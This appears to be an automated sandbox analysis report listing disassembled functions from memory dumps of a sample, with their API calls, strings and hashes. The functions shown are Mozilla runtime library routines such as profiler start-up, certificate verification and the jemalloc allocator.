Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CCF5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CCF5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCF54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCF54BE
__Init_thread_footer.LIBCMT ref: 6CCF54DB

Part of subcall function 6CD1AB3F: EnterCriticalSection.KERNEL32(6CD6E370,?,?,6CCE3527,6CD6F6CC,?,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB49
Part of subcall function 6CD1AB3F: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE3527,6CD6F6CC,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1AB7C

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CCF54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CCF5516
GetCurrentThreadId.KERNEL32 ref: 6CCF556A
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCF5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CCF5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CCF5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CCF55E6
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCF5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF5616

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

GetCurrentThreadId.KERNEL32 ref: 6CCF563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCF5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CCF567C
free.MOZGLUE(?), ref: 6CCF56AE

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CCF56E8
GetCurrentThreadId.KERNEL32 ref: 6CCF5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CCF570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CCF5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CCF574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CCF576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CCF5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CCF57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CCF57CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CCF55E1
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CCF54A3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CCF5749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CCF54B9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CCF5D01
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CCF5724
[I %d/%d] profiler_init, xrefs: 6CCF564E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CCF57C5
GeckoMain, xrefs: 6CCF5554, 6CCF55D5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CCF5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CCF584E
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CCF57AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CCF5D2B
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CCF5791
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CCF548D
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CCF56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CCF5C56
MOZ_BASE_PROFILER_HELP, xrefs: 6CCF5511
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CCF5717
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CCF5B38
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CCF5766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CCF5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CCF5AC9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CCF5D24
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CCF5CF9

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 934db6c39ad9bb2a1cbb9d52dc7d7dc7486c7715d07f25f7e4d9b27579048a61
Instruction ID: a659620fdac68d7457f4a31c9c1a2fdbc5956201bdb2255e2b08df1971e280b1
Opcode Fuzzy Hash: 934db6c39ad9bb2a1cbb9d52dc7d7dc7486c7715d07f25f7e4d9b27579048a61
Instruction Fuzzy Hash: 66220570A047409BFB009F66845876A77B8AF8634CF04852AFB6687F91F735D44ACA72

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCF6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCF6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CCF6D26

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CCF6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCF6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CCF6D73
free.MOZGLUE(00000000), ref: 6CCF6D80
CertGetNameStringW.CRYPT32 ref: 6CCF6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CCF6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCF6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CCF6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CCF6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CCF6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CCF6E34
CreateFileW.KERNEL32 ref: 6CCF6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CCF6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCF6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CCF709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCF7103
free.MOZGLUE(00000000), ref: 6CCF7153
CloseHandle.KERNEL32(?), ref: 6CCF7176
__Init_thread_footer.LIBCMT ref: 6CCF7209
__Init_thread_footer.LIBCMT ref: 6CCF723A
__Init_thread_footer.LIBCMT ref: 6CCF726B
__Init_thread_footer.LIBCMT ref: 6CCF729C
__Init_thread_footer.LIBCMT ref: 6CCF72DC
__Init_thread_footer.LIBCMT ref: 6CCF730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CCF73C2
VerSetConditionMask.NTDLL ref: 6CCF73F3
VerSetConditionMask.NTDLL ref: 6CCF73FF
VerSetConditionMask.NTDLL ref: 6CCF7406
VerSetConditionMask.NTDLL ref: 6CCF740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CCF741A
moz_xmalloc.MOZGLUE(?), ref: 6CCF755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCF7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CCF7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CCF7598
free.MOZGLUE(00000000), ref: 6CCF75AC

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

Strings

wintrust.dll, xrefs: 6CCF72CD
SHA256, xrefs: 6CCF6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CCF72C8
(, xrefs: 6CCF768A

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 3d21d2f2210448a20fb8d1f9eaa615558f61a7a60170daa5690614b33fc204cf
Instruction ID: a233cb33f1fa8952de5e7ae20a1d58365a454b6ef91bfdabc8609f28db12e5be
Opcode Fuzzy Hash: 3d21d2f2210448a20fb8d1f9eaa615558f61a7a60170daa5690614b33fc204cf
Instruction Fuzzy Hash: F55295B1A002149BFB61DF25CC84BAAB7BDFF45704F104199E91997740EB70AB89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD20DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD20F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CD20F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CD20FB7
EnterCriticalSection.KERNEL32(?), ref: 6CD20FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CD21031
LeaveCriticalSection.KERNEL32(?), ref: 6CD210D0
EnterCriticalSection.KERNEL32(?), ref: 6CD2117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CD21C39
EnterCriticalSection.KERNEL32(6CD6E744), ref: 6CD23391
LeaveCriticalSection.KERNEL32(6CD6E744), ref: 6CD233CD
LeaveCriticalSection.KERNEL32(?), ref: 6CD23431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD23437

Strings

MALLOC_OPTIONS, xrefs: 6CD235FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD23559, 6CD2382D, 6CD23848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CD237D2
MOZ_CRASH(), xrefs: 6CD23950
: (malloc) Unsupported character in malloc options: ', xrefs: 6CD23A02
Compile-time page size does not divide the runtime one., xrefs: 6CD23946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CD237A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CD237BD
<jemalloc>, xrefs: 6CD23941, 6CD239F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CD23793

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 8d0f86b45a4d3e797433059c81e1ffb54e1f92e16fd9396c3f96c82b93fdf4e3
Instruction ID: 4a65355dcbc8a8ffadea64b2e61a4279e09f2ec65550d4b24157aea757c1a827
Opcode Fuzzy Hash: 8d0f86b45a4d3e797433059c81e1ffb54e1f92e16fd9396c3f96c82b93fdf4e3
Instruction Fuzzy Hash: 69538C71A15701CFD304CF29C540615FBE1BF89328F29C66DE9A99BBA1D73AE841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD438BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43EE2

Part of subcall function 6CD46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CD461DD
Part of subcall function 6CD46180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CD4622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44157

Part of subcall function 6CD46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CD46250
Part of subcall function 6CD46180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD46292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD4484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44896
free.MOZGLUE ref: 6CD4489F

Strings

, xrefs: 6CD44CD2

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3f632d0b2721225c6c9af5aaba7fa2a4f9c2a43b3f4a94c4867d533de695c602
Instruction ID: d221647f8019a35b06271e49326806252840715cc5b6fc630f21d70066f9f536
Opcode Fuzzy Hash: 3f632d0b2721225c6c9af5aaba7fa2a4f9c2a43b3f4a94c4867d533de695c602
Instruction Fuzzy Hash: C5F24B74908B80CFC721CF28C08469AFBF1BFC9354F558A5EDA9997721DB319896CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CCF64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CCF64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CCF6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CCF6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCF652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CCF671C
GetCurrentProcess.KERNEL32 ref: 6CCF6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCF672F
GetCurrentProcess.KERNEL32 ref: 6CCF6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCF6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CCF6A80
GetSystemInfo.KERNEL32(?), ref: 6CCF6ABE
__Init_thread_footer.LIBCMT ref: 6CCF6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CCF6798
_etoured.dll, xrefs: 6CCF64ED
nvdxgiwrap.dll, xrefs: 6CCF6513
detoured.dll, xrefs: 6CCF64DA
user32.dll, xrefs: 6CCF6526
nvd3d9wrap.dll, xrefs: 6CCF6500

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 92d507fd080657a16407da2d27e5ca1cace682678ff1e86351ca8054c0d980e6
Instruction ID: 382297674899623172e202abe6d2fe0c11641a217d25b0ca157546207309afdc
Opcode Fuzzy Hash: 92d507fd080657a16407da2d27e5ca1cace682678ff1e86351ca8054c0d980e6
Instruction Fuzzy Hash: E8F105709056199FDB60CF25CC487EAB7B4EF46308F1442D9E929E3681E731AE86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD4C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD4C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CD4C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4E472

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: f7ef8d51051de4a01406300b4ae6923c5580d56a89c6cf49eadd7ccb59e2b362
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 14338F71E0021ACFCB14CF98C8806ADFBF2FF89314F298269D955AB765D731A945CB90

Uniqueness

Uniqueness Score: -1.00%

